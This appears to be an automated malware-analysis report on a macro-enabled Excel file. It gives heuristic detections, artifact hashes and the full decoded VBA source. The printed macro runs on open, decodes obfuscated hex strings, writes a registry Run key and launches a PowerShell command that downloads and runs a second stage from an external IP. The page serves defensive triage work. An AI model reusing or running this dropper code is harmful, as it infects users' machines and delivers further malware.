Malware Insights
The sample is an XLSM file containing a Workbook_Open macro that utilizes WScript.Shell and CreateObject to execute obfuscated Visual Basic code. This code decodes a string to write a registry value, 'HKCU\Software\Microsoft\Windows\CurrentVersion\Run\IAccessible2Proxy', and then executes a PowerShell command to download and run a second-stage payload from 'http://185.189.255.147/a.ps1'. Finally, it deletes the registry value and closes the workbook. The use of WScript.Shell and the execution of a PowerShell downloader strongly indicate a malicious intent to establish persistence and download further malicious content.
Heuristics 6
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VBA project inside OOXML medium 4 related findings OOXML_VBADocument contains a VBA project — VBA macros present
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WScript.Shell usage critical OLE_VBA_WSCRIPTWScript.Shell usageMatched line in script
Set ghhfgfgdsfas = CreateObject("WScript.Shell") -
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
Set ghhfgfgdsfas = CreateObject("WScript.Shell") -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECTriggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
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Workbook_Open macro low OLE_VBA_WBOPENWorkbook_Open macroMatched line in script
Public Sub Workbook_Open() -
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source from OOXML) | 2099 bytes |
SHA-256: 32838030839c487e485c155627d9ebdfccbbbde6e85fb9371fa048d4314d01b8 |
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Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 2 long base64-like blob(s).
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Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Public Sub Workbook_Open()
Set ghhfgfgdsfas = CreateObject("WScript.Shell")
Set ghhfgfgdsfas = CreateObject("WScript.Shell")
a = "545751656B4F615E5E515A606B615F515E68517A82757E7B7A79717A806883757A70757E"
b = "6F79702C3B6F2C7C6A7B83717E7F746A71786A782C39832C3D2C4D707039597C5C7E7172717E717A6F712C3951846F78817F757B7A5C6D80742C2E30717A82466D7C7C706D806D2E475F806D7E80395F7871717C2C3D3E472C345A7183395B6E76716F802C5A71803A63716E4F7875717A80353A507B837A787B6D705275787134337480807C463B3B737B707F3A6E756F7173857C78757271733A72817A3B787B737F3A71847133383430717A82466D7C7C706D806D353733687D58565D5E3A6E6D803335475F806D7E80395F7871717C2C3E472C5F806D7E80395C7E7B6F717F7F2C30717A82466D7C7C706D806D687D58565D5E3A6E6D8047325E51592C33"
c = "6F79702C3B6F2C7F6F74806D7F777F2C3B7E817A2C3B807A2C6859756F7E7B7F7B72806863757A707B837F6850757F774F78716D7A817C685F7578717A804F78716D7A817C2C3B55"
d = "545751656B4F615E5E515A606B615F515E68517A82757E7B7A79717A806883757A70757E"
ghhfgfgdsfas.RegWrite hgfhffsadsa(a), hgfhffsadsa(b)
ghhfgfgdsfas.Run (hgfhffsadsa(c))
Set ghhfgfgdsfas = CreateObject("WScript.Shell")
Application.Wait (Now + TimeValue("0:00:07"))
ghhfgfgdsfas.RegDelete hgfhffsadsa(d)
ActiveWorkbook.Close
End Sub
Function hgfhffsadsa(str)
Dim i
Dim sStr
sStr = ""
For i = 1 To Len(str) Step 2
sStr = sStr + Chr(CLng("&H" & Mid(str, i, 2)) - 12)
Next
hgfhffsadsa = sStr
End Function
Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
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vbaProject_00.bin |
vba-project | OOXML VBA project: xl/vbaProject.bin | 16896 bytes |
SHA-256: 5220959afd68812ac3cadd710439a8d062b3252cd7e1657c9980a046232b9b1a |
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Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 2 long base64-like blob(s).
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